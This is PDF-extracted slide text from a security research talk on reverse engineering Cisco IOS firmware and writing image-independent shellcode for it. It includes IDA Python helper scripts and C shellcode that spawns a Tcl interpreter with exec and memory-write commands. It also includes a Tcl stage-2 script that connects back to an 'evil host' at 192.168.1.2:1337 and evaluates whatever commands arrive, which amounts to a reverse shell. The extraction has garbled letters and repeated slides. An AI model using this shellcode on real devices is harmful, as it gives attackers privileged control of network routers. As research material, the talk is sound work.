Cisco Ios Shellcode: All-In-One: George Nosenko
Cisco Ios Shellcode: All-In-One: George Nosenko
George Nosenko
gnosenko@dsec.ru
CISCO IOS SHELLCODE: ALL-IN-ONE
George Nosenko
• Security researcher at Digital Security
• Bug Hunter
• Exploit Developer
CISCO IOS SHELLCODE: ALL-IN-ONE
Agenda
Prior works
OperaEon Systems
Cisco IOS
Cisco IOS XE (based on Linux)
Cisco NX-OS (based on Linux)
Cisco IOS XR (based on QNX)
ASA OS (based on Linux)
CatOS
Architectures
PowerPC (Book-E)
MIPS Over 300 000 unique images
Intel x86_x64
Killing the Myth of Cisco IOS Diversity
CISCO IOS SHELLCODE: ALL-IN-ONE
Part 1
CISCO IOS RE
CISCO IOS SHELLCODE: ALL-IN-ONE
Main problem
Reverse in context
Unpacking Firmware
Trace strings
Trace strings
FuncEon names
CISCO IOS SHELLCODE: ALL-IN-ONE
Trace strings
def rename_funcs(strings=None, paUern=None):
names = [s for s in strings if re.search(paUern, str(s)) is not None]
for name in names:
for ref in DataRefsTo(name.ea):
old_name = GetFuncEonName(ref)
func_addr = LocByNameEx(ref, old_name)
if func_addr == BADADDR or
has_user_name(getFlags(func_addr)):
break
MakeName( func_addr, str(name))
≈ 8.5%
break
if __name__ == "__main__":
rename_funcs(strings=Strings(), paUern=r'^[a-z]{3,}_[a-z]+_')
CISCO IOS SHELLCODE: ALL-IN-ONE
Subsystems
Subsystems
Subsystems
def create_subsytems(name='subsystype_'):
for seg in get_data_segment():
for ea in search(start=seg.startEA, end=seg.endEA, paUern='C1 5C 05 15 C1 5C 05 15'): # it uses FindBinary
p_name, p_func, sysclass = Dword(ea + 0x14), Dword(ea + 0x24), Dword(ea + 0x28)
SetColor(p_func, CIC_FUNC, get_color_by_subsysclass(sysclass))
func_name = GetString(p_name)
if func_name == '':
conEnue
if not has_user_name(getFlags(p_func)):
print "ea: 0x%x 0x%x %s" % (ea, p_func, func_name)
MakeNameAuto(p_func, func_name + '_subsys_init', SN_NOCHECK)
CISCO IOS SHELLCODE: ALL-IN-ONE
• Linker-independent mechanism
CDP : 96 services
CDP / 1 : List list[001]
0x062E6F38
• Service is an interface into subsystem ...
CDP / 14 : Case size[000] list[003] default=0x05B4ED60 return_void
1 0x046D03BC
• Registry is a collecEon of services 2 0x046D04F4
3 0x046D05D4
CDP / 15 : Value size[000] list[000] default=0
• Service emulates common C CDP / 16 : Stub 0x064F9230
...
construct (loop, switch, etc.) CDP / 21 : Stub 0x05B4ED64 return_zero
...
≈ 7.4%
• 8-12 different types
CDP / 38 : List list[004]
0x06B42A88
0x04D24970
0x06747680
0x06A0CB50
...
CDP / 54 : Loop list[005]
0x06A859CC
0x08CA07F0
0x087AC228
[REG_NAME][NUM_SERVICE][TYPE](SUB)[ADDR] 0x07EF5CE8
0x084B034C
...
CDP / 57 : Retval size[000] list[000] default=0x046CB720
...
CDP : 96 services, 440 global bytes, 600 heap bytes
CISCO IOS SHELLCODE: ALL-IN-ONE
#include “sched.h”
pid_t cfork(forkproc (*padd), long pp, int stack, char *name, int Uynum);
pid_t process_create(process_t (*padd), char *name, stack_size_t stack, process_priority_t priority);
. . .
result = process_create(bootload, “Boot Load”, LARGE_STACK, PRIO_NORMAL);
if (result != NO_PROCESS) {
process_set_arg_num(result, loading);
process_set_Uynum(result, startup_Uynum);
}
Process
.text:04110830 get_value_at_wC0011F4_o110:
.text:04110830 FindBinary( 3D 20 ?? ?? 80 69 ?? ??
.text:04110830 3D 20 0C 00 lis r9, off_C0011F4@h
.text:04110834 80 69 11 F4 lwz r3, off_C0011F4@l(r9)
38 63 ?? ?? 4E 80 00 20 )
.text:04110838 38 63 01 10 addi r3, r3, 0x110
.text:0411083C 4E 80 00 20 blr
.text:0411083C # End of function get_value_at_wC0011F4_o110
.text:0412E5FC return_one:
FindBinary( 38 60 00 01 4E 80 00 20 )
.text:0412E5FC 38 60 00 01 li r3, 1
≈ 19%
.text:0412E600 4E 80 00 20 blr
.text:0412E600 # End of function return_one
CISCO IOS SHELLCODE: ALL-IN-ONE
Where is libc?
Look for all simple funcEons around the end of the code
CISCO IOS SHELLCODE: ALL-IN-ONE
Cisco Discovery
Router# show processes ? Router# show stack 1
cpu Show CPU use per process Process 1: Chunk Manager
memory Show memory use per process Stack segment 0x1247D30C - 0x1248389C
FP: 0x12483860, RA: 0x5B9CBFC
Router# show memory ? FP: 0x12483888, RA: 0x5B63994
allocating-process Show allocating process name FP: 0x12483890, RA: 0x6DEEFA0
io IO memory stats FP: 0x0, RA: 0x6DE8834
processor Processor memory stats
summary Summary of memory usage per alloc PC Router# show tcp brief all
transient TCB Local Address Foreign Address (state)
57B455EC 0.0.0.0.64999 *.* LISTEN
Router# show buffers all ? 56FAD21C 0.0.0.0.34154 *.* LISTEN
dump Show buffer header and all data
header Show buffer header only Router# show ip sockets
packet Show buffer header and packet data
pool Buffers in a specified pool
Router# show version
Router# show tech-support
Router# show list Router# show inventory
List Manager: Router# show module
10944 lists known, 5907113 lists created
ID Address Size/Max Name Router# show region
1 FA7CA30 10/- Region List Router# show module
2 E9C9560 1/- I/O Router# show platform hardware tlb
3 E9C85D0 2/- Processor
CISCO IOS SHELLCODE: ALL-IN-ONE
• You can:
use ROMMON;
patch old GDB;
use IODIDE;
create an adapter for IDA Pro.
CISCO IOS SHELLCODE: ALL-IN-ONE
Part 2
CISCO SHELLCODING
CISCO IOS SHELLCODE: ALL-IN-ONE
Motivation
Image-independent shellcodes
2. Disassembling Shellcode by Felix ‘FX’ Lindner - Cisco IOS Router ExplotaEon, 2009
Invariant is an unique string
3. Interrupt-Hijack Shellcode by Columbia University NY - Killing the Myth of Cisco IOS Diversity, 2011
Invariant is an interrupt handler rouEnes
Disassembling Shellcode
Basic technique
1. Find a unique string to determine its address .text
2. Look for a code which references this string
3. Patch the funcEon
Interrupt-Hijack Shellcode
Two-stage aUack
Stage 1: 1. Unpack the second-stage shellcode
2. Locate ERET instrucEon
3. Intercept all interrupt handlers
Stage 2: 1. Receive command by looking for incoming packets with
specific format Stage 1
2. Execute command
Pros & Cons
• Fast, Stealth, High Privilege
• Create a hidden channel over ICMP
• It has a complex structure, it operates asynchronously
• It presupposes a database containing the image-dependent
payload to stage 3
• Rootkit-oriented
Demo 0x01
CISCO IOS SHELLCODE: ALL-IN-ONE
Stage 1
1. Determine the memory layout .text
2. Look for the Tcl subsystem in .data shellcode
callback server
3. Find a Tcl C API table within this subsystem script Tcl listen TCP(1337)
4. Determine addresses of all handlers for Tcl IOS
command extension
5. Create new Tcl commands
Tcl_Iterp
6. Create new Tcl Interpreter by using Tcl C API Txt
7. Run a Tcl script from memory
(script is integrated in shellcode)
evil host
Stage 2
1. Script connects to the “callback” server cisco router
2. Evaluate any Tcl expression received from the server
CISCO IOS SHELLCODE: ALL-IN-ONE
Stage 1
1. Determine the memory layout .text
2. Look for the Tcl subsystem in .data shellcode
callback server
3. Find a Tcl C API table within this subsystem script Tcl listen TCP(1337)
4. Determine addresses of all handlers for Tcl IOS
command extension
5. Create new Tcl commands
Tcl_Iterp
6. Create new Tcl Interpreter by using Tcl C API Txt
7. Run a Tcl script from memory
(script is integrated in shellcode)
evil host
Stage 2
1. Script connects to the “callback” server cisco router
2. Evaluate any Tcl expression received from the server
CISCO IOS SHELLCODE: ALL-IN-ONE
MoEvaEon
• To reduce the search Eme • Have to use the System Purpose Registers (SPR)
• Not to cause an access violaEon • This method depends on the processor architecture
• We can skip this step
• Because our shellcode is developed in C, it's not a big
problem
Router# show platform hardware tlb
Virt Address range Phy Address range W-I-M-G-E-S Attr TS ESEL
============================================================================
0xFF000000-0xFFFFFFFF 0x0_FF000000-0x0_FFFFFFFF 1-1-0-1-0-0 RWX 0 (0)
. . .
0x04000000-0x07FFFFFF 0x0_04000000-0x0_07FFFFFF 0-0-1-0-0-0 RWX 0 (5)
0x08000000-0x0BFFFFFF 0x0_08000000-0x0_0BFFFFFF 0-0-1-0-0-0 R-X 0 (6)
0x0C000000-0x0FFFFFFF 0x0_0C000000-0x0_0FFFFFFF 0-0-1-0-0-0 RW- 0 (7)
. . .
CISCO IOS SHELLCODE: ALL-IN-ONE
Stage 1
1. Determine the memory layout .text
2. Look for the Tcl subsystem in .data shellcode
callback server
3. Find a Tcl C API table within this subsystem script Tcl listen TCP(1337)
4. Determine addresses of all handlers for Tcl IOS
command extension
5. Create new Tcl commands
Tcl_Iterp
6. Create new Tcl Interpreter by using Tcl C API Txt
7. Run a Tcl script from memory
(script is integrated in shellcode)
evil host
Stage 2
1. Script connects to the “callback” server cisco router
2. Evaluate any Tcl expression received from the server
CISCO IOS SHELLCODE: ALL-IN-ONE
MoEvaEon
• To reduce the search Eme
• All data relaEng to the Tcl subsystem is located below the header
• All funcEons relaEng the Tcl subsystem is located within tcl_subsys_init
Stage 1
1. Determine the memory layout .text
2. Look for the Tcl subsystem in .data shellcode
callback server
3. Find a Tcl C API table within this subsystem script Tcl listen TCP(1337)
4. Determine addresses of all handlers for Tcl IOS
command extension
5. Create new Tcl commands
Tcl_Iterp
6. Create new Tcl Interpreter by using Tcl C API Txt
7. Run a Tcl script from memory
(script is integrated in shellcode)
evil host
Stage 2
1. Script connects to the “callback” server cisco router
2. Evaluate any Tcl expression received from the server
CISCO IOS SHELLCODE: ALL-IN-ONE
Stage 1
1. Determine the memory layout .text
2. Look for the Tcl subsystem in .data shellcode
callback server
3. Find a Tcl C API table within this subsystem script Tcl listen TCP(1337)
4. Determine addresses of all handlers for Tcl IOS
command extension
5. Create new Tcl commands
Tcl_Iterp
6. Create new Tcl Interpreter by using Tcl C API Txt
7. Run a Tcl script from memory
(script is integrated in shellcode)
evil host
Stage 2
1. Script connects to the “callback” server cisco router
2. Evaluate any Tcl expression received from the server
CISCO IOS SHELLCODE: ALL-IN-ONE
Stage 1
1. Determine the memory layout .text
2. Look for the Tcl subsystem in .data shellcode
callback server
3. Find a Tcl C API table within this subsystem script Tcl listen TCP(1337)
4. Determine addresses of all handlers for Tcl IOS
command extension
5. Create new Tcl commands
Tcl_Iterp
6. Create new Tcl Interpreter by using Tcl C API Txt
7. Run a Tcl script from memory
(script is integrated in shellcode)
evil host
Stage 2
1. Script connects to the “callback” server cisco router
2. Evaluate any Tcl expression received from the server
CISCO IOS SHELLCODE: ALL-IN-ONE
int wmem(void* clientData, void* interp, int argc, char** argv) // wmem addr value
{
Interp* iPtr = (Interp *) interp;
unsigned int* ptr = NULL;
unsigned int value = 0;
if(argc != 3) {
iPtr->stubTable->tcl_AppendResult(interp, "wrong args", (char *) NULL);
return TCL_ERROR;
}
if(iPtr->stubTable->tcl_GetInt(interp, argv[1], &ptr) != TCL_OK) return TCL_ERROR;
if(iPtr->stubTable->tcl_GetInt(interp, argv[2], &value) != TCL_OK) return TCL_ERROR;
Stage 1
1. Determine the memory layout .text
2. Look for the Tcl subsystem in .data shellcode
callback server
3. Find a Tcl C API table within this subsystem script Tcl listen TCP(1337)
4. Determine addresses of all handlers for Tcl IOS
command extension
5. Create new Tcl commands
Tcl_Iterp
6. Create new Tcl Interpreter by using Tcl C API Txt
7. Run a Tcl script from memory
(script is integrated in shellcode)
evil host
Stage 2
1. Script connects to the “callback” server cisco router
2. Evaluate any Tcl expression received from the server
CISCO IOS SHELLCODE: ALL-IN-ONE
void shellcode() {
. . . # ./tcl/stage2.tcl
Tcl_Interp* interp = Tcl_CreateInterp();
Tcl_CmdProc* tcl_exec = set sockid [ socket "192.168.1.2" 1337]
find_Tcl_command(subsys->init_address, 1MB, "exec",
Tcl_CreateCommand); while {1}
if(tcl_exec != NULL){ {
Tcl_CreateCommand(interp, "exec", tcl_exec, 0, 0); flush $sockid
} set line [gets $sockid]
Tcl_CreateCommand(interp, "wmem", wmem, 0, 0); catch {eval $line} cmdres
const char* script = puts $sockid $cmdres
#include "./tcl/stage2.tcl" }
;
Tcl_Eval(interp, script); close $sockid
. . .
}
CISCO IOS SHELLCODE: ALL-IN-ONE
Features ProperEes
• We have a shell with the highest level of privileges • Image-independent
• We can work with file system and sockets • It’s easy to port to other CPU architecture
• We can read/write memory: • Approach can be applied to Cisco IOS XE
• to change behavior of Cisco IOS • No need to worry about a watchdog
• to analyze IOMEM • Hijack a process
Demo 0x02
CISCO IOS SHELLCODE: ALL-IN-ONE
Conclusion
CISCO IOS SHELLCODE: ALL-IN-ONE
The End
www.dsec.ru
gnosenko@dsec.ru